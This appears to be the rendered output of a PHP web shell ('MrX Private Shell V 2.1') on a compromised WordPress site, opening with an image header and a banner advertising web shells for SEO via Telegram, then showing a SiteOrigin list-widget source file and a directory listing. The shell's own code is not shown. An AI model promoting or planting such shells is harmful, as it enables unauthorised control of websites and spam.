����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
class SiteOrigin_Panels_Widget_List extends SiteOrigin_Panels_Widget {
function __construct() {
parent::__construct(
__('List (PB)', 'siteorigin-panels'),
array(
'description' => __('Displays a bullet list of elements', 'siteorigin-panels'),
'default_style' => 'simple',
),
array(),
array(
'title' => array(
'type' => 'text',
'label' => __('Title', 'siteorigin-panels'),
),
'text' => array(
'type' => 'textarea',
'label' => __('Text', 'siteorigin-panels'),
'description' => __('Start each new point with an asterisk (*)', 'siteorigin-panels'),
),
)
);
}
static function create_list($text){
// Add the list items
$text = preg_replace( "/\*+(.*)?/i", "<ul><li>$1</li></ul>", $text );
$text = preg_replace( "/(\<\/ul\>\n(.*)\<ul\>*)+/", "", $text );
$text = wpautop( $text );
// Return sanitized version of the list
return wp_kses_post($text);
}
}| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| presets | Folder | 0755 |
|
|
| styles | Folder | 0755 |
|
|
| tpl | Folder | 0755 |
|
|
| list.php | File | 941 B | 0644 |
|